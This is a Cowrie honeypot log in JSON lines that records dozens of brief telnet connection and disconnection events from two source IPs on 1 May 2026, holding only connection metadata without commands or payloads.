{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":37754,"dst_ip":"10.17.0.5","dst_port":23,"session":"859171320dd0","protocol":"telnet","message":"New connection: 208.115.200.90:37754 (10.17.0.5:23) [session: 859171320dd0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:02.501500Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":37786,"dst_ip":"10.17.0.5","dst_port":23,"session":"d9a3fdebb9ce","protocol":"telnet","message":"New connection: 208.115.200.90:37786 (10.17.0.5:23) [session: d9a3fdebb9ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:02.567147Z"}
{"eventid":"cowrie.session.closed","duration":31.665147066116333,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:02.708512Z","src_ip":"208.115.219.122","session":"07187f01f91d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.496428728103638,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:02.723141Z","src_ip":"208.115.200.90","session":"faf84eb91cb0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":37934,"dst_ip":"10.17.0.5","dst_port":23,"session":"bb13c1efe8fd","protocol":"telnet","message":"New connection: 208.115.200.90:37934 (10.17.0.5:23) [session: bb13c1efe8fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:02.812310Z"}
{"eventid":"cowrie.session.closed","duration":31.45882511138916,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:02.820872Z","src_ip":"208.115.200.90","session":"99d87872a7be","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":37914,"dst_ip":"10.17.0.5","dst_port":23,"session":"9fee6b43ecf4","protocol":"telnet","message":"New connection: 208.115.219.122:37914 (10.17.0.5:23) [session: 9fee6b43ecf4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:02.862863Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":38078,"dst_ip":"10.17.0.5","dst_port":23,"session":"6245aadf6fbb","protocol":"telnet","message":"New connection: 208.115.200.90:38078 (10.17.0.5:23) [session: 6245aadf6fbb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:02.998492Z"}
{"eventid":"cowrie.session.closed","duration":30.779138803482056,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:03.019725Z","src_ip":"208.115.219.122","session":"ac92480660d3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.07060742378235,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:03.044411Z","src_ip":"208.115.219.122","session":"e813132eb8f0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.229074001312256,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:03.064096Z","src_ip":"208.115.219.122","session":"3dff6bf8be5c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.695970058441162,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:03.069771Z","src_ip":"208.115.219.122","session":"60f2316ceb78","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.716503381729126,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:03.085404Z","src_ip":"208.115.200.90","session":"deea7d678022","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":37918,"dst_ip":"10.17.0.5","dst_port":23,"session":"b15b2df7363d","protocol":"telnet","message":"New connection: 208.115.219.122:37918 (10.17.0.5:23) [session: b15b2df7363d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:03.096524Z"}
{"eventid":"cowrie.session.closed","duration":30.935710906982422,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:03.170328Z","src_ip":"208.115.200.90","session":"90a106071780","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":38086,"dst_ip":"10.17.0.5","dst_port":23,"session":"0e38f3373b89","protocol":"telnet","message":"New connection: 208.115.200.90:38086 (10.17.0.5:23) [session: 0e38f3373b89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:03.193216Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":38100,"dst_ip":"10.17.0.5","dst_port":23,"session":"a4e846475fa7","protocol":"telnet","message":"New connection: 208.115.200.90:38100 (10.17.0.5:23) [session: a4e846475fa7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:03.213386Z"}
{"eventid":"cowrie.session.closed","duration":31.23084044456482,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:03.320463Z","src_ip":"208.115.219.122","session":"ddc0e35c8799","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":38108,"dst_ip":"10.17.0.5","dst_port":23,"session":"23cd62a7599d","protocol":"telnet","message":"New connection: 208.115.200.90:38108 (10.17.0.5:23) [session: 23cd62a7599d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:03.367368Z"}
{"eventid":"cowrie.session.closed","duration":31.392571210861206,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:03.425905Z","src_ip":"208.115.200.90","session":"24ff931e3fc2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.264719009399414,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:03.510566Z","src_ip":"208.115.200.90","session":"45b6fbb7be1f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.963521480560303,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:03.524247Z","src_ip":"208.115.200.90","session":"526e03fb9c87","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":38120,"dst_ip":"10.17.0.5","dst_port":23,"session":"6c572b6bdab1","protocol":"telnet","message":"New connection: 208.115.200.90:38120 (10.17.0.5:23) [session: 6c572b6bdab1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:03.577027Z"}
{"eventid":"cowrie.session.closed","duration":31.14252471923828,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:03.637099Z","src_ip":"208.115.200.90","session":"70fd0719c3b5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":38126,"dst_ip":"10.17.0.5","dst_port":23,"session":"b7716aaf314d","protocol":"telnet","message":"New connection: 208.115.200.90:38126 (10.17.0.5:23) [session: b7716aaf314d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:03.838721Z"}
{"eventid":"cowrie.session.closed","duration":31.131914854049683,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:03.921112Z","src_ip":"208.115.219.122","session":"2effdc6f7687","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.351644039154053,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:04.037851Z","src_ip":"208.115.200.90","session":"265b4e12435c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.96587085723877,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:04.055365Z","src_ip":"208.115.219.122","session":"1a1bdede5fbf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":38136,"dst_ip":"10.17.0.5","dst_port":23,"session":"ba4c0a4a14df","protocol":"telnet","message":"New connection: 208.115.200.90:38136 (10.17.0.5:23) [session: ba4c0a4a14df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:04.061601Z"}
{"eventid":"cowrie.session.closed","duration":30.95988440513611,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:04.093823Z","src_ip":"208.115.200.90","session":"cfe98b14c69e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.398254871368408,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:04.133502Z","src_ip":"208.115.200.90","session":"454d003904e5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.105122804641724,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:04.138869Z","src_ip":"208.115.200.90","session":"17f5b86546be","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":38140,"dst_ip":"10.17.0.5","dst_port":23,"session":"fa6720d23580","protocol":"telnet","message":"New connection: 208.115.200.90:38140 (10.17.0.5:23) [session: fa6720d23580]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:04.172557Z"}
{"eventid":"cowrie.session.closed","duration":31.07659363746643,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:04.203256Z","src_ip":"208.115.200.90","session":"f4a0d478ba56","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":38144,"dst_ip":"10.17.0.5","dst_port":23,"session":"1ba7d70519e3","protocol":"telnet","message":"New connection: 208.115.200.90:38144 (10.17.0.5:23) [session: 1ba7d70519e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:04.234226Z"}
{"eventid":"cowrie.session.closed","duration":30.907182931900024,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:04.461462Z","src_ip":"208.115.219.122","session":"47e787c27af2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.43642544746399,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:04.466460Z","src_ip":"208.115.200.90","session":"abb693aec265","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.368829250335693,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:04.588512Z","src_ip":"208.115.200.90","session":"d730639ff2a1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.840561628341675,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:04.864063Z","src_ip":"208.115.200.90","session":"c3f133964be9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.883342742919922,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:05.019503Z","src_ip":"208.115.219.122","session":"e91bbf01ccad","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.96156644821167,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:05.026883Z","src_ip":"208.115.219.122","session":"fb4d3817876b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.835987329483032,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:05.051092Z","src_ip":"208.115.200.90","session":"327691177d63","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":37826,"dst_ip":"10.17.0.5","dst_port":23,"session":"99b0495d69c8","protocol":"telnet","message":"New connection: 208.115.219.122:37826 (10.17.0.5:23) [session: 99b0495d69c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:05.068557Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":50504,"dst_ip":"10.17.0.5","dst_port":23,"session":"4ae56f5f23a5","protocol":"telnet","message":"New connection: 208.115.219.122:50504 (10.17.0.5:23) [session: 4ae56f5f23a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:05.098500Z"}
{"eventid":"cowrie.session.closed","duration":30.620718240737915,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:05.152967Z","src_ip":"208.115.200.90","session":"041acf4c6538","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.09359335899353,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:05.201932Z","src_ip":"208.115.200.90","session":"5328b82de7eb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.093205213546753,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:05.214502Z","src_ip":"208.115.200.90","session":"a1222009a0fe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.21088147163391,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:05.256757Z","src_ip":"208.115.219.122","session":"84dbe169098a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.010215282440186,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:05.347651Z","src_ip":"208.115.200.90","session":"9edefcc49645","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.882575511932373,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:05.441162Z","src_ip":"208.115.200.90","session":"b9a5bb35efb0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.624683618545532,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:05.618724Z","src_ip":"208.115.219.122","session":"881a0e5626f1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.056570529937744,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:05.648531Z","src_ip":"208.115.200.90","session":"deca1341e88e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":34242,"dst_ip":"10.17.0.5","dst_port":23,"session":"22028cd30f94","protocol":"telnet","message":"New connection: 208.115.200.90:34242 (10.17.0.5:23) [session: 22028cd30f94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:05.740209Z"}
{"eventid":"cowrie.session.closed","duration":31.184295892715454,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:05.825293Z","src_ip":"208.115.219.122","session":"babc1d073be7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.724236011505127,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:06.013256Z","src_ip":"208.115.219.122","session":"9498c7659668","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":50644,"dst_ip":"10.17.0.5","dst_port":23,"session":"91787d0ce664","protocol":"telnet","message":"New connection: 208.115.219.122:50644 (10.17.0.5:23) [session: 91787d0ce664]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:06.044049Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":34366,"dst_ip":"10.17.0.5","dst_port":23,"session":"1f52630d02a9","protocol":"telnet","message":"New connection: 208.115.200.90:34366 (10.17.0.5:23) [session: 1f52630d02a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:06.070052Z"}
{"eventid":"cowrie.session.closed","duration":30.897846698760986,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:06.088557Z","src_ip":"208.115.219.122","session":"c1d099080678","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":34384,"dst_ip":"10.17.0.5","dst_port":23,"session":"cd42a3298106","protocol":"telnet","message":"New connection: 208.115.200.90:34384 (10.17.0.5:23) [session: cd42a3298106]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:06.129524Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":34386,"dst_ip":"10.17.0.5","dst_port":23,"session":"0cfbde2d00fa","protocol":"telnet","message":"New connection: 208.115.200.90:34386 (10.17.0.5:23) [session: 0cfbde2d00fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:06.134363Z"}
{"eventid":"cowrie.session.closed","duration":30.341339111328125,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:06.165403Z","src_ip":"208.115.200.90","session":"bc6b5348114a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.57386350631714,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:06.223115Z","src_ip":"208.115.200.90","session":"92df35b5c061","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":50660,"dst_ip":"10.17.0.5","dst_port":23,"session":"bd59ee93985d","protocol":"telnet","message":"New connection: 208.115.219.122:50660 (10.17.0.5:23) [session: bd59ee93985d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:06.234960Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":34440,"dst_ip":"10.17.0.5","dst_port":23,"session":"ed704c36d4cf","protocol":"telnet","message":"New connection: 208.115.200.90:34440 (10.17.0.5:23) [session: ed704c36d4cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:06.281507Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":34456,"dst_ip":"10.17.0.5","dst_port":23,"session":"0f07362b0cc5","protocol":"telnet","message":"New connection: 208.115.200.90:34456 (10.17.0.5:23) [session: 0f07362b0cc5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:06.486052Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":34462,"dst_ip":"10.17.0.5","dst_port":23,"session":"f778ea6b42a5","protocol":"telnet","message":"New connection: 208.115.200.90:34462 (10.17.0.5:23) [session: f778ea6b42a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:06.489520Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":34464,"dst_ip":"10.17.0.5","dst_port":23,"session":"03f267304081","protocol":"telnet","message":"New connection: 208.115.200.90:34464 (10.17.0.5:23) [session: 03f267304081]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:06.493269Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":34472,"dst_ip":"10.17.0.5","dst_port":23,"session":"aee8af6e3661","protocol":"telnet","message":"New connection: 208.115.200.90:34472 (10.17.0.5:23) [session: aee8af6e3661]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:06.496794Z"}
{"eventid":"cowrie.session.closed","duration":31.206970691680908,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:06.500823Z","src_ip":"208.115.200.90","session":"1d6355f5008e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.016671657562256,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:06.502938Z","src_ip":"208.115.200.90","session":"e8037d56a4c7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.451348781585693,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:06.505160Z","src_ip":"208.115.200.90","session":"0d83e26c7d4c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.102733373641968,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:06.507628Z","src_ip":"208.115.200.90","session":"81a8b4a64f42","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.12427067756653,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:06.920220Z","src_ip":"208.115.200.90","session":"920097989236","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.037336826324463,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:07.022037Z","src_ip":"208.115.200.90","session":"ffe398d5e239","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":50794,"dst_ip":"10.17.0.5","dst_port":23,"session":"921b529dc802","protocol":"telnet","message":"New connection: 208.115.219.122:50794 (10.17.0.5:23) [session: 921b529dc802]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:07.049984Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":34990,"dst_ip":"10.17.0.5","dst_port":23,"session":"6299568821f3","protocol":"telnet","message":"New connection: 208.115.200.90:34990 (10.17.0.5:23) [session: 6299568821f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:07.106427Z"}
{"eventid":"cowrie.session.closed","duration":30.860722064971924,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:07.119432Z","src_ip":"208.115.200.90","session":"570928d813ca","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.044094562530518,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:07.149989Z","src_ip":"208.115.219.122","session":"1e1d23258861","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.709161520004272,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:07.176639Z","src_ip":"208.115.219.122","session":"4f222a123e64","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":35006,"dst_ip":"10.17.0.5","dst_port":23,"session":"94eff9d1d2a3","protocol":"telnet","message":"New connection: 208.115.200.90:35006 (10.17.0.5:23) [session: 94eff9d1d2a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:07.206227Z"}
{"eventid":"cowrie.session.closed","duration":30.6353280544281,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:07.220943Z","src_ip":"208.115.200.90","session":"fabe33b6f18b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":34992,"dst_ip":"10.17.0.5","dst_port":23,"session":"462daedd5080","protocol":"telnet","message":"New connection: 208.115.200.90:34992 (10.17.0.5:23) [session: 462daedd5080]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:07.238230Z"}
{"eventid":"cowrie.session.closed","duration":30.90362548828125,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:07.244180Z","src_ip":"208.115.200.90","session":"8d4c3f1863fd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.141538619995117,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:07.252771Z","src_ip":"208.115.200.90","session":"d4e445119d19","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.200879335403442,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:07.315972Z","src_ip":"208.115.200.90","session":"e523e903ff33","protocol":"telnet"}
